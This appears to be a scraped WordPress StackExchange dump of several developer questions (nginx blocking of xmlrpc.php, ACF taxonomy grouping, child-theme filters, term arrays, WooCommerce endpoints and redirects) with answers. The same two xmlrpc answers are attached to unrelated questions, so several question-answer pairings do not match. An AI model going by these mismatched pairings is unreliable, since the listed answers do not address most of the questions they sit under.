<p>I read near the end of <a href="https://www.ctrl.blog/entry/how-to-wordpress-sshguard" rel="nofollow noreferrer">this guide</a> regarding utilizing <a href="https://www.sshguard.net/" rel="nofollow noreferrer">SSHguard</a> to protect WordPress from Brute force attacks that after configuring SSHguard the relevant way, one must:</p> <blockquote> <p>disable XML-RPC by blocking all remote access to /xmlrpc.php in your web server configuration.</p> </blockquote> <ul> <li><p>I don't use XML-RPC in any of my websites.</p></li> <li><p>I use Nginx as my web server.</p></li> </ul> <p>I'm not sure what is the best way to totally block XML-RPC. Nginx conf for each site? WP-CLI operation per site? </p> <p>What is the common way to do so?</p>
[ { "answer_id": 291978, "author": "Nathan Johnson", "author_id": 106269, "author_profile": "https://wordpress.stackexchange.com/users/106269", "pm_score": 3, "selected": true, "text": "<p>On nginx, to block access to the xmlrpc.php file, add this location block to the server block of your configuration file:</p>\n\n<pre><code>location ~ ^/(xmlrpc\\.php) {\n deny all;\n}\n</code></pre>\n" }, { "answer_id": 292000, "author": "BearlyDoug", "author_id": 134409, "author_profile": "https://wordpress.stackexchange.com/users/134409", "pm_score": 0, "selected": false, "text": "<p>Here's a better way to handle it on NginX (and how my employer does it). This actually returns a \"Forbidden\" message.</p>\n\n<pre><code>location /xmlrpc.php { return 403; }\n</code></pre>\n\n<p>Anyone that says it's not a security risk is blithely unaware of the hacks that started happening with Wordpress 4.7.2 (It might be a 4.5x release), where there was an actual exploitable risk in Wordpress because of how xmlrpc.php requests were not properly being sanitized.</p>\n\n<p>Realistically, the only time anyone should not disable access to xmlrpc.php is if they're using the Jetpack plugin from Wordpress.com.</p>\n" } ]
2018/01/23
[ "https://wordpress.stackexchange.com/questions/291970", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131001/" ]
I read near the end of [this guide](https://www.ctrl.blog/entry/how-to-wordpress-sshguard) regarding utilizing [SSHguard](https://www.sshguard.net/) to protect WordPress from Brute force attacks that after configuring SSHguard the relevant way, one must: > > disable XML-RPC by blocking all remote access to /xmlrpc.php in your > web server configuration. > > > * I don't use XML-RPC in any of my websites. * I use Nginx as my web server. I'm not sure what is the best way to totally block XML-RPC. Nginx conf for each site? WP-CLI operation per site? What is the common way to do so?
On nginx, to block access to the xmlrpc.php file, add this location block to the server block of your configuration file: ``` location ~ ^/(xmlrpc\.php) { deny all; } ```
291,976
<p>I have a CPT <code>locations</code> with a custom taxonomy <code>regions</code> using hierarchical terms (State is the parent term, City is the child term.</p> <p><strong>Regions Custom Taxonomy</strong></p> <ul> <li>North Carolina (parent) <ul> <li>Charlotte (child)</li> <li>Raleigh (child)</li> </ul></li> <li>Georgia (parent) <ul> <li>Atlanta (child)</li> </ul></li> </ul> <p>Using an ACF Relationship field, I'm trying to build a flexible content panel that allows users to select locations and have them displayed grouped via the parent term, and then the child term like such:</p> <p><strong>Display/Result</strong></p> <ul> <li>North Carolina <ul> <li>Charlotte <ul> <li>Wynnchester Road Location (post)</li> <li>Tryon Road Location (post)</li> </ul></li> <li>Raleigh <ul> <li>Boylan Street Location (post)</li> </ul></li> </ul></li> <li>Georgia <ul> <li>Atlanta <ul> <li>Wynnchester Road Location (post)</li> </ul></li> </ul></li> </ul> <p>Anyone ever attempted something like this? I'm having a heck of a time and could use some help.</p>
[ { "answer_id": 291978, "author": "Nathan Johnson", "author_id": 106269, "author_profile": "https://wordpress.stackexchange.com/users/106269", "pm_score": 3, "selected": true, "text": "<p>On nginx, to block access to the xmlrpc.php file, add this location block to the server block of your configuration file:</p>\n\n<pre><code>location ~ ^/(xmlrpc\\.php) {\n deny all;\n}\n</code></pre>\n" }, { "answer_id": 292000, "author": "BearlyDoug", "author_id": 134409, "author_profile": "https://wordpress.stackexchange.com/users/134409", "pm_score": 0, "selected": false, "text": "<p>Here's a better way to handle it on NginX (and how my employer does it). This actually returns a \"Forbidden\" message.</p>\n\n<pre><code>location /xmlrpc.php { return 403; }\n</code></pre>\n\n<p>Anyone that says it's not a security risk is blithely unaware of the hacks that started happening with Wordpress 4.7.2 (It might be a 4.5x release), where there was an actual exploitable risk in Wordpress because of how xmlrpc.php requests were not properly being sanitized.</p>\n\n<p>Realistically, the only time anyone should not disable access to xmlrpc.php is if they're using the Jetpack plugin from Wordpress.com.</p>\n" } ]
2018/01/23
[ "https://wordpress.stackexchange.com/questions/291976", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/119547/" ]
I have a CPT `locations` with a custom taxonomy `regions` using hierarchical terms (State is the parent term, City is the child term. **Regions Custom Taxonomy** * North Carolina (parent) + Charlotte (child) + Raleigh (child) * Georgia (parent) + Atlanta (child) Using an ACF Relationship field, I'm trying to build a flexible content panel that allows users to select locations and have them displayed grouped via the parent term, and then the child term like such: **Display/Result** * North Carolina + Charlotte - Wynnchester Road Location (post) - Tryon Road Location (post) + Raleigh - Boylan Street Location (post) * Georgia + Atlanta - Wynnchester Road Location (post) Anyone ever attempted something like this? I'm having a heck of a time and could use some help.
On nginx, to block access to the xmlrpc.php file, add this location block to the server block of your configuration file: ``` location ~ ^/(xmlrpc\.php) { deny all; } ```
291,979
<p>I am creating a website. I need to hide the avatar and the name of the user who is currently editing, and replace the name with the role. Is that possible?</p> <p>Thank you for your help</p> <p><a href="https://i.stack.imgur.com/pj2n1.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/pj2n1.jpg" alt="enter image description here"></a></p>
[ { "answer_id": 291978, "author": "Nathan Johnson", "author_id": 106269, "author_profile": "https://wordpress.stackexchange.com/users/106269", "pm_score": 3, "selected": true, "text": "<p>On nginx, to block access to the xmlrpc.php file, add this location block to the server block of your configuration file:</p>\n\n<pre><code>location ~ ^/(xmlrpc\\.php) {\n deny all;\n}\n</code></pre>\n" }, { "answer_id": 292000, "author": "BearlyDoug", "author_id": 134409, "author_profile": "https://wordpress.stackexchange.com/users/134409", "pm_score": 0, "selected": false, "text": "<p>Here's a better way to handle it on NginX (and how my employer does it). This actually returns a \"Forbidden\" message.</p>\n\n<pre><code>location /xmlrpc.php { return 403; }\n</code></pre>\n\n<p>Anyone that says it's not a security risk is blithely unaware of the hacks that started happening with Wordpress 4.7.2 (It might be a 4.5x release), where there was an actual exploitable risk in Wordpress because of how xmlrpc.php requests were not properly being sanitized.</p>\n\n<p>Realistically, the only time anyone should not disable access to xmlrpc.php is if they're using the Jetpack plugin from Wordpress.com.</p>\n" } ]
2018/01/23
[ "https://wordpress.stackexchange.com/questions/291979", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/135417/" ]
I am creating a website. I need to hide the avatar and the name of the user who is currently editing, and replace the name with the role. Is that possible? Thank you for your help [![enter image description here](https://i.stack.imgur.com/pj2n1.jpg)](https://i.stack.imgur.com/pj2n1.jpg)
On nginx, to block access to the xmlrpc.php file, add this location block to the server block of your configuration file: ``` location ~ ^/(xmlrpc\.php) { deny all; } ```
291,982
<p>When customers fill out the contact form on our site, the form goes straight into the spam folder in our gmail account. It never used to do this. Is this a Wordpress setting or a gmail setting that needs to be changes so that it sends to the inbox rather than the spam folder?</p> <p>Thanks</p>
[ { "answer_id": 291978, "author": "Nathan Johnson", "author_id": 106269, "author_profile": "https://wordpress.stackexchange.com/users/106269", "pm_score": 3, "selected": true, "text": "<p>On nginx, to block access to the xmlrpc.php file, add this location block to the server block of your configuration file:</p>\n\n<pre><code>location ~ ^/(xmlrpc\\.php) {\n deny all;\n}\n</code></pre>\n" }, { "answer_id": 292000, "author": "BearlyDoug", "author_id": 134409, "author_profile": "https://wordpress.stackexchange.com/users/134409", "pm_score": 0, "selected": false, "text": "<p>Here's a better way to handle it on NginX (and how my employer does it). This actually returns a \"Forbidden\" message.</p>\n\n<pre><code>location /xmlrpc.php { return 403; }\n</code></pre>\n\n<p>Anyone that says it's not a security risk is blithely unaware of the hacks that started happening with Wordpress 4.7.2 (It might be a 4.5x release), where there was an actual exploitable risk in Wordpress because of how xmlrpc.php requests were not properly being sanitized.</p>\n\n<p>Realistically, the only time anyone should not disable access to xmlrpc.php is if they're using the Jetpack plugin from Wordpress.com.</p>\n" } ]
2018/01/23
[ "https://wordpress.stackexchange.com/questions/291982", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/135421/" ]
When customers fill out the contact form on our site, the form goes straight into the spam folder in our gmail account. It never used to do this. Is this a Wordpress setting or a gmail setting that needs to be changes so that it sends to the inbox rather than the spam folder? Thanks
On nginx, to block access to the xmlrpc.php file, add this location block to the server block of your configuration file: ``` location ~ ^/(xmlrpc\.php) { deny all; } ```
292,007
<p>I'm having trouble using <code>remove_filter</code> to override the read more links in my parent theme. </p> <p>Here's the parent theme functions: </p> <pre><code>/* Modify the '[...]' Read More Text */ add_filter( 'the_content_more_link', 'hoot_modify_read_more_link' ); if ( apply_filters( 'hoot_force_excerpt_readmore', true ) ) { add_filter( 'excerpt_more', 'hoot_insert_excerpt_readmore_quicktag', 11 ); add_filter( 'wp_trim_excerpt', 'hoot_replace_excerpt_readmore_quicktag', 11, 2 ); } else { add_filter( 'excerpt_more', 'hoot_modify_read_more_link' ); } /** * Modify the '[...]' Read More Text * * @since 1.0 * @access public * @return string */ function hoot_modify_read_more_link( $more = '[&amp;hellip;]' ) { if ( is_admin() ) return $more; $read_more = esc_html( hoot_get_mod('read_more') ); $read_more = ( empty( $read_more ) ) ? sprintf( __( 'Read More %s', 'brigsby' ), '&amp;rarr;' ) : $read_more; global $post; $read_more = '&lt;a class="more-link" href="' . esc_url( get_permalink( $post-&gt;ID ) ) . '"&gt;' . $read_more . '&lt;/a&gt;'; return apply_filters( 'hoot_readmore', $read_more ) ; } </code></pre> <p>And here's my functions in my child theme's function.php:</p> <pre><code>function dw_remove_parent_read_more() { remove_filter('excerpt_more', 'hoot_modify_read_more_link'); } add_action('after_setup_theme', 'dw_remove_parent_read_more',999); function dw_modify_read_more_link($more = '[&amp;hellip;]') { if ( is_admin() ) return $more; $read_more = esc_html( hoot_get_mod('read_more') ); $read_more = ( empty( $read_more ) ) ? sprintf( __( 'Read More %s', 'brigsby' ), '' ) : $read_more; global $post; $read_more = '&lt;div&gt;&lt;a class="more-link" href="' . esc_url( get_permalink( $post-&gt;ID ) ) . '"&gt;' . $read_more . '&lt;/a&gt;&lt;/div&gt;'; return apply_filters( 'hoot_readmore', $read_more ) ; } add_filter('excerpt_more', 'dw_modify_read_more_link', 999); </code></pre> <p>The current result is that two read more links are now showing, both the parent theme's and my child theme's. What am I doing wrong :) ? </p>
[ { "answer_id": 292013, "author": "Dharmishtha Patel", "author_id": 135085, "author_profile": "https://wordpress.stackexchange.com/users/135085", "pm_score": 2, "selected": false, "text": "<p><strong>A Note on Priorities</strong></p>\n\n<p>Note that if you're trying to remove a function using <code>remove_action()</code> or <code>remove_filter()</code> and the function has had a priority assigned to it, you must include the priority when removing it, or it won't work.</p>\n\n<p><strong>So if the function in the parent theme looks like this:</strong></p>\n\n<pre><code>&lt;?php\nfunction parent_function() {\n // Contents for your function here.\n}\nadd_action( 'init', 'parent_function', 15 );\n?&gt;\n&lt;?php\nfunction child_remove_parent_function() {\n remove_action( 'widgets_init', 'parent_function', 15 );\n}\nadd_action( 'wp_loaded', 'child_remove_parent_function' );\n?&gt;\n. \n</code></pre>\n\n<p>you'll need to include the same priority value when removing it:</p>\n" }, { "answer_id": 292027, "author": "dwood7399", "author_id": 51985, "author_profile": "https://wordpress.stackexchange.com/users/51985", "pm_score": 0, "selected": false, "text": "<p>Figured it out, the 'Read More' link being displayed was from the <code>wp_trim_excerpt</code> hook rather than <code>excerpt_more</code> hook. Just needed to switch my <code>add_filter</code> and <code>remove_filter</code> to reference the appropriate hooks.</p>\n\n<pre><code>function dw_remove_parent_read_more() {\n remove_filter('wp_trim_excerpt', 'hoot_replace_excerpt_readmore_quicktag', 11, 2);\n}\nadd_action('after_setup_theme', 'dw_remove_parent_read_more',11);\n\nfunction dw_replace_excerpt_readmore_quicktag( $text, $raw_excerpt ) {\n if ( is_admin() )\n return $text;\n $read_more = dw_modify_read_more_link();\n $text = str_replace( '&lt;!--hoot-read-more-quicktag--&gt;', '', $text );\n return $text . $read_more ;\n}\n\nadd_filter('wp_trim_excerpt', 'dw_replace_excerpt_readmore_quicktag', 11,2);\n</code></pre>\n" } ]
2018/01/24
[ "https://wordpress.stackexchange.com/questions/292007", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/51985/" ]
I'm having trouble using `remove_filter` to override the read more links in my parent theme. Here's the parent theme functions: ``` /* Modify the '[...]' Read More Text */ add_filter( 'the_content_more_link', 'hoot_modify_read_more_link' ); if ( apply_filters( 'hoot_force_excerpt_readmore', true ) ) { add_filter( 'excerpt_more', 'hoot_insert_excerpt_readmore_quicktag', 11 ); add_filter( 'wp_trim_excerpt', 'hoot_replace_excerpt_readmore_quicktag', 11, 2 ); } else { add_filter( 'excerpt_more', 'hoot_modify_read_more_link' ); } /** * Modify the '[...]' Read More Text * * @since 1.0 * @access public * @return string */ function hoot_modify_read_more_link( $more = '[&hellip;]' ) { if ( is_admin() ) return $more; $read_more = esc_html( hoot_get_mod('read_more') ); $read_more = ( empty( $read_more ) ) ? sprintf( __( 'Read More %s', 'brigsby' ), '&rarr;' ) : $read_more; global $post; $read_more = '<a class="more-link" href="' . esc_url( get_permalink( $post->ID ) ) . '">' . $read_more . '</a>'; return apply_filters( 'hoot_readmore', $read_more ) ; } ``` And here's my functions in my child theme's function.php: ``` function dw_remove_parent_read_more() { remove_filter('excerpt_more', 'hoot_modify_read_more_link'); } add_action('after_setup_theme', 'dw_remove_parent_read_more',999); function dw_modify_read_more_link($more = '[&hellip;]') { if ( is_admin() ) return $more; $read_more = esc_html( hoot_get_mod('read_more') ); $read_more = ( empty( $read_more ) ) ? sprintf( __( 'Read More %s', 'brigsby' ), '' ) : $read_more; global $post; $read_more = '<div><a class="more-link" href="' . esc_url( get_permalink( $post->ID ) ) . '">' . $read_more . '</a></div>'; return apply_filters( 'hoot_readmore', $read_more ) ; } add_filter('excerpt_more', 'dw_modify_read_more_link', 999); ``` The current result is that two read more links are now showing, both the parent theme's and my child theme's. What am I doing wrong :) ?
**A Note on Priorities** Note that if you're trying to remove a function using `remove_action()` or `remove_filter()` and the function has had a priority assigned to it, you must include the priority when removing it, or it won't work. **So if the function in the parent theme looks like this:** ``` <?php function parent_function() { // Contents for your function here. } add_action( 'init', 'parent_function', 15 ); ?> <?php function child_remove_parent_function() { remove_action( 'widgets_init', 'parent_function', 15 ); } add_action( 'wp_loaded', 'child_remove_parent_function' ); ?> . ``` you'll need to include the same priority value when removing it:
292,054
<p>I created an array with this expressions:</p> <pre><code> $taxonomies = get_terms(array( 'taxonomy' =&gt; 'product_cat', 'hide_empty' =&gt; false, )); </code></pre> <p>And I got this as return:</p> <pre><code>Array ( [0] =&gt; WP_Term Object ( [term_id] =&gt; 79 [name] =&gt; Édességek [slug] =&gt; edessegek [term_group] =&gt; 0 [term_taxonomy_id] =&gt; 79 [taxonomy] =&gt; product_cat [description] =&gt; [parent] =&gt; 0 [count] =&gt; 1 [filter] =&gt; raw [meta_value] =&gt; 0 ) [1] =&gt; WP_Term Object ( [term_id] =&gt; 55 [name] =&gt; Ételek [slug] =&gt; etelek [term_group] =&gt; 0 [term_taxonomy_id] =&gt; 55 [taxonomy] =&gt; product_cat [description] =&gt; [parent] =&gt; 0 [count] =&gt; 0 [filter] =&gt; raw [meta_value] =&gt; 0 ) [2] =&gt; WP_Term Object ( [term_id] =&gt; 76 [name] =&gt; Glutén mentes ételek [slug] =&gt; gluten-mentes-etelek [term_group] =&gt; 0 [term_taxonomy_id] =&gt; 76 [taxonomy] =&gt; product_cat [description] =&gt; [parent] =&gt; 0 [count] =&gt; 1 [filter] =&gt; raw [meta_value] =&gt; 0 ) [3] =&gt; WP_Term Object ( [term_id] =&gt; 81 [name] =&gt; Heti ajánlat [slug] =&gt; heti-ajanlat [term_group] =&gt; 0 [term_taxonomy_id] =&gt; 81 [taxonomy] =&gt; product_cat [description] =&gt; [parent] =&gt; 0 [count] =&gt; 0 [filter] =&gt; raw [meta_value] =&gt; 0 ) [4] =&gt; WP_Term Object ( [term_id] =&gt; 49 [name] =&gt; Indiai ételek [slug] =&gt; indiai-etelek [term_group] =&gt; 0 [term_taxonomy_id] =&gt; 49 [taxonomy] =&gt; product_cat [description] =&gt; [parent] =&gt; 55 [count] =&gt; 0 [filter] =&gt; raw [meta_value] =&gt; 0 ) [5] =&gt; WP_Term Object ( [term_id] =&gt; 73 [name] =&gt; Kedvenc ételek [slug] =&gt; kedvenc-etelek [term_group] =&gt; 0 [term_taxonomy_id] =&gt; 73 [taxonomy] =&gt; product_cat [description] =&gt; [parent] =&gt; 0 [count] =&gt; 1 [filter] =&gt; raw [meta_value] =&gt; 0 ) [6] =&gt; WP_Term Object ( [term_id] =&gt; 48 [name] =&gt; Krémlevesek [slug] =&gt; kremlevesek [term_group] =&gt; 0 [term_taxonomy_id] =&gt; 48 [taxonomy] =&gt; product_cat [description] =&gt; [parent] =&gt; 55 [count] =&gt; 1 [filter] =&gt; raw [meta_value] =&gt; 0 ) [7] =&gt; WP_Term Object ( [term_id] =&gt; 47 [name] =&gt; Levesek [slug] =&gt; levesek [term_group] =&gt; 0 [term_taxonomy_id] =&gt; 47 [taxonomy] =&gt; product_cat [description] =&gt; [parent] =&gt; 55 [count] =&gt; 0 [filter] =&gt; raw [meta_value] =&gt; 0 ) [8] =&gt; WP_Term Object ( [term_id] =&gt; 61 [name] =&gt; ph levesek [slug] =&gt; ph-levesek [term_group] =&gt; 0 [term_taxonomy_id] =&gt; 61 [taxonomy] =&gt; product_cat [description] =&gt; [parent] =&gt; 47 [count] =&gt; 0 [filter] =&gt; raw [meta_value] =&gt; 0 ) [9] =&gt; WP_Term Object ( [term_id] =&gt; 78 [name] =&gt; Saláták [slug] =&gt; salatak [term_group] =&gt; 0 [term_taxonomy_id] =&gt; 78 [taxonomy] =&gt; product_cat [description] =&gt; [parent] =&gt; 0 [count] =&gt; 1 [filter] =&gt; raw [meta_value] =&gt; 0 ) [10] =&gt; WP_Term Object ( [term_id] =&gt; 77 [name] =&gt; Szendvicsek [slug] =&gt; szendvicsek [term_group] =&gt; 0 [term_taxonomy_id] =&gt; 77 [taxonomy] =&gt; product_cat [description] =&gt; [parent] =&gt; 0 [count] =&gt; 1 [filter] =&gt; raw [meta_value] =&gt; 0 ) [11] =&gt; WP_Term Object ( [term_id] =&gt; 75 [name] =&gt; Tejmentes ételek [slug] =&gt; tejmentes-etelek [term_group] =&gt; 0 [term_taxonomy_id] =&gt; 75 [taxonomy] =&gt; product_cat [description] =&gt; [parent] =&gt; 0 [count] =&gt; 1 [filter] =&gt; raw [meta_value] =&gt; 0 ) [12] =&gt; WP_Term Object ( [term_id] =&gt; 60 [name] =&gt; Új hűsítő levesek [slug] =&gt; uj-husito-levesek [term_group] =&gt; 0 [term_taxonomy_id] =&gt; 60 [taxonomy] =&gt; product_cat [description] =&gt; [parent] =&gt; 47 [count] =&gt; 0 [filter] =&gt; raw [meta_value] =&gt; 0 ) [13] =&gt; WP_Term Object ( [term_id] =&gt; 59 [name] =&gt; Új levesek [slug] =&gt; uj-levesek [term_group] =&gt; 0 [term_taxonomy_id] =&gt; 59 [taxonomy] =&gt; product_cat [description] =&gt; [parent] =&gt; 47 [count] =&gt; 0 [filter] =&gt; raw [meta_value] =&gt; 0 ) [14] =&gt; WP_Term Object ( [term_id] =&gt; 74 [name] =&gt; Vegaséf max ételek [slug] =&gt; vegasef-max-etelek [term_group] =&gt; 0 [term_taxonomy_id] =&gt; 74 [taxonomy] =&gt; product_cat [description] =&gt; [parent] =&gt; 0 [count] =&gt; 1 [filter] =&gt; raw [meta_value] =&gt; 0 ) ) </code></pre> <p>I need to get only the <code>[name]</code> and the <code>[slug]</code> in 2 seperated array. How it is possible? I'm thinking about <code>array_column</code> and <code>array_push</code> options</p>
[ { "answer_id": 292063, "author": "janh", "author_id": 129206, "author_profile": "https://wordpress.stackexchange.com/users/129206", "pm_score": 1, "selected": false, "text": "<p>Sound like a strange thing to do, but I've seen stranger requirements, so I trust you have a good reason for that.</p>\n\n<pre><code>$names = array();\n$slugs = array();\n$terms = get_terms(array(\n 'taxonomy' =&gt; 'product_cat',\n 'hide_empty' =&gt; false,\n));\nforeach($terms as $term) {\n array_push($names, $term-&gt;name);\n array_push($slugs, $term-&gt;slug);\n}\n</code></pre>\n\n<p>Will create those two arrays. Note that I've renamed the variable you called <code>$taxonomies</code> as it's confusing to name it after one thing when it contains another (in this case it will contain terms, not taxonomies).</p>\n" }, { "answer_id": 292067, "author": "birgire", "author_id": 26350, "author_profile": "https://wordpress.stackexchange.com/users/26350", "pm_score": 4, "selected": true, "text": "<p>Here's an alternative using the handy <a href=\"https://developer.wordpress.org/reference/functions/wp_list_pluck/\" rel=\"noreferrer\"><code>wp_list_pluck()</code></a>:</p>\n\n<pre><code>$terms = get_terms(array(\n 'taxonomy' =&gt; 'category',\n 'hide_empty' =&gt; false,\n));\n$slugs = wp_list_pluck( $terms, 'slug' ); \n$names = wp_list_pluck( $terms, 'name' );\n</code></pre>\n\n<p>where we <em>pluck</em> out the wanted field into an array.</p>\n" } ]
2018/01/24
[ "https://wordpress.stackexchange.com/questions/292054", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/134715/" ]
I created an array with this expressions: ``` $taxonomies = get_terms(array( 'taxonomy' => 'product_cat', 'hide_empty' => false, )); ``` And I got this as return: ``` Array ( [0] => WP_Term Object ( [term_id] => 79 [name] => Édességek [slug] => edessegek [term_group] => 0 [term_taxonomy_id] => 79 [taxonomy] => product_cat [description] => [parent] => 0 [count] => 1 [filter] => raw [meta_value] => 0 ) [1] => WP_Term Object ( [term_id] => 55 [name] => Ételek [slug] => etelek [term_group] => 0 [term_taxonomy_id] => 55 [taxonomy] => product_cat [description] => [parent] => 0 [count] => 0 [filter] => raw [meta_value] => 0 ) [2] => WP_Term Object ( [term_id] => 76 [name] => Glutén mentes ételek [slug] => gluten-mentes-etelek [term_group] => 0 [term_taxonomy_id] => 76 [taxonomy] => product_cat [description] => [parent] => 0 [count] => 1 [filter] => raw [meta_value] => 0 ) [3] => WP_Term Object ( [term_id] => 81 [name] => Heti ajánlat [slug] => heti-ajanlat [term_group] => 0 [term_taxonomy_id] => 81 [taxonomy] => product_cat [description] => [parent] => 0 [count] => 0 [filter] => raw [meta_value] => 0 ) [4] => WP_Term Object ( [term_id] => 49 [name] => Indiai ételek [slug] => indiai-etelek [term_group] => 0 [term_taxonomy_id] => 49 [taxonomy] => product_cat [description] => [parent] => 55 [count] => 0 [filter] => raw [meta_value] => 0 ) [5] => WP_Term Object ( [term_id] => 73 [name] => Kedvenc ételek [slug] => kedvenc-etelek [term_group] => 0 [term_taxonomy_id] => 73 [taxonomy] => product_cat [description] => [parent] => 0 [count] => 1 [filter] => raw [meta_value] => 0 ) [6] => WP_Term Object ( [term_id] => 48 [name] => Krémlevesek [slug] => kremlevesek [term_group] => 0 [term_taxonomy_id] => 48 [taxonomy] => product_cat [description] => [parent] => 55 [count] => 1 [filter] => raw [meta_value] => 0 ) [7] => WP_Term Object ( [term_id] => 47 [name] => Levesek [slug] => levesek [term_group] => 0 [term_taxonomy_id] => 47 [taxonomy] => product_cat [description] => [parent] => 55 [count] => 0 [filter] => raw [meta_value] => 0 ) [8] => WP_Term Object ( [term_id] => 61 [name] => ph levesek [slug] => ph-levesek [term_group] => 0 [term_taxonomy_id] => 61 [taxonomy] => product_cat [description] => [parent] => 47 [count] => 0 [filter] => raw [meta_value] => 0 ) [9] => WP_Term Object ( [term_id] => 78 [name] => Saláták [slug] => salatak [term_group] => 0 [term_taxonomy_id] => 78 [taxonomy] => product_cat [description] => [parent] => 0 [count] => 1 [filter] => raw [meta_value] => 0 ) [10] => WP_Term Object ( [term_id] => 77 [name] => Szendvicsek [slug] => szendvicsek [term_group] => 0 [term_taxonomy_id] => 77 [taxonomy] => product_cat [description] => [parent] => 0 [count] => 1 [filter] => raw [meta_value] => 0 ) [11] => WP_Term Object ( [term_id] => 75 [name] => Tejmentes ételek [slug] => tejmentes-etelek [term_group] => 0 [term_taxonomy_id] => 75 [taxonomy] => product_cat [description] => [parent] => 0 [count] => 1 [filter] => raw [meta_value] => 0 ) [12] => WP_Term Object ( [term_id] => 60 [name] => Új hűsítő levesek [slug] => uj-husito-levesek [term_group] => 0 [term_taxonomy_id] => 60 [taxonomy] => product_cat [description] => [parent] => 47 [count] => 0 [filter] => raw [meta_value] => 0 ) [13] => WP_Term Object ( [term_id] => 59 [name] => Új levesek [slug] => uj-levesek [term_group] => 0 [term_taxonomy_id] => 59 [taxonomy] => product_cat [description] => [parent] => 47 [count] => 0 [filter] => raw [meta_value] => 0 ) [14] => WP_Term Object ( [term_id] => 74 [name] => Vegaséf max ételek [slug] => vegasef-max-etelek [term_group] => 0 [term_taxonomy_id] => 74 [taxonomy] => product_cat [description] => [parent] => 0 [count] => 1 [filter] => raw [meta_value] => 0 ) ) ``` I need to get only the `[name]` and the `[slug]` in 2 seperated array. How it is possible? I'm thinking about `array_column` and `array_push` options
Here's an alternative using the handy [`wp_list_pluck()`](https://developer.wordpress.org/reference/functions/wp_list_pluck/): ``` $terms = get_terms(array( 'taxonomy' => 'category', 'hide_empty' => false, )); $slugs = wp_list_pluck( $terms, 'slug' ); $names = wp_list_pluck( $terms, 'name' ); ``` where we *pluck* out the wanted field into an array.
292,066
<p>I'm using WooCommerce v3.2.6 and WordPress 4.9.1. I've added an endpoint to the WooCommerce myaccount area (<code>view-subscription</code>):</p> <pre><code>function my_custom_endpoints() { add_rewrite_endpoint( 'view-subscription', EP_ROOT | EP_PAGES ); } add_action( 'init', 'my_custom_endpoints' ); function my_custom_query_vars( $vars ) { $vars[] = 'view-subscription'; return $vars; } add_filter( 'query_vars', 'my_custom_query_vars', 0 ); function view_subscription_endpoint_content() { include get_template_directory().'/woocommerce/myaccount/view-subscription.php'; } add_action( 'woocommerce_account_view-subscription_endpoint', 'view_subscription_endpoint_content' ); </code></pre> <p>The endpoint is working but I want to be able to pass the ID of a subscription (a post type) to the endpoint (similar to how view-order works). How can I do this?</p> <p>eg.</p> <pre><code>myaccount/view-order/21313 - Displays details of order #21313 myaccount/view-subscription/35464 - I want this to display the details of the subscription post #35464. </code></pre> <p>If I go to the above URL <code>myaccount/view-subscription/35464</code> , the view-subscription.php template is still loading, but what is the best way to access the ID, 35464, from the URL?</p>
[ { "answer_id": 306721, "author": "Guhéry Rocourt", "author_id": 145725, "author_profile": "https://wordpress.stackexchange.com/users/145725", "pm_score": 3, "selected": true, "text": "<p>I hope it's not too late, but anyway, I know it will help someone else.</p>\n\n<p><code>echo get_query_var('your-endpoint');</code></p>\n\n<p>So, for your code, it will be: </p>\n\n<p><code>echo get_query_var('view-subscription');</code></p>\n" }, { "answer_id": 351757, "author": "Ankur Modi", "author_id": 177744, "author_profile": "https://wordpress.stackexchange.com/users/177744", "pm_score": 1, "selected": false, "text": "<p>Please use this, it will help me according same as view-order link.</p>\n\n<p><a href=\"https://wp-kama.ru/function/wc_get_endpoint_url\" rel=\"nofollow noreferrer\"><code>wc_get_endpoint_url()</code></a></p>\n\n<p>eg.</p>\n\n<p><code>myaccount/view-order/21313</code> - Displays details of order <code>#21313</code><br>\n<code>myaccount/view-coupon/123</code> - Display details of coupon <code>#123</code></p>\n" } ]
2018/01/24
[ "https://wordpress.stackexchange.com/questions/292066", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/39063/" ]
I'm using WooCommerce v3.2.6 and WordPress 4.9.1. I've added an endpoint to the WooCommerce myaccount area (`view-subscription`): ``` function my_custom_endpoints() { add_rewrite_endpoint( 'view-subscription', EP_ROOT | EP_PAGES ); } add_action( 'init', 'my_custom_endpoints' ); function my_custom_query_vars( $vars ) { $vars[] = 'view-subscription'; return $vars; } add_filter( 'query_vars', 'my_custom_query_vars', 0 ); function view_subscription_endpoint_content() { include get_template_directory().'/woocommerce/myaccount/view-subscription.php'; } add_action( 'woocommerce_account_view-subscription_endpoint', 'view_subscription_endpoint_content' ); ``` The endpoint is working but I want to be able to pass the ID of a subscription (a post type) to the endpoint (similar to how view-order works). How can I do this? eg. ``` myaccount/view-order/21313 - Displays details of order #21313 myaccount/view-subscription/35464 - I want this to display the details of the subscription post #35464. ``` If I go to the above URL `myaccount/view-subscription/35464` , the view-subscription.php template is still loading, but what is the best way to access the ID, 35464, from the URL?
I hope it's not too late, but anyway, I know it will help someone else. `echo get_query_var('your-endpoint');` So, for your code, it will be: `echo get_query_var('view-subscription');`
292,075
<p>I'm trying to redirect customers, who are not logged in, when they push the "proceed to checkout button" on my cart page but nothing happens.</p> <p>Here's my code:</p> <pre><code>function custom_redirect_checkout(){ if ( !is_user_logged_in() ){ wp_redirect( 'https://www.domain.co/login/', 301 ); exit; } } add_filter( 'woocommerce_proceed_to_checkout', 'custom_redirect_checkout' ); </code></pre>
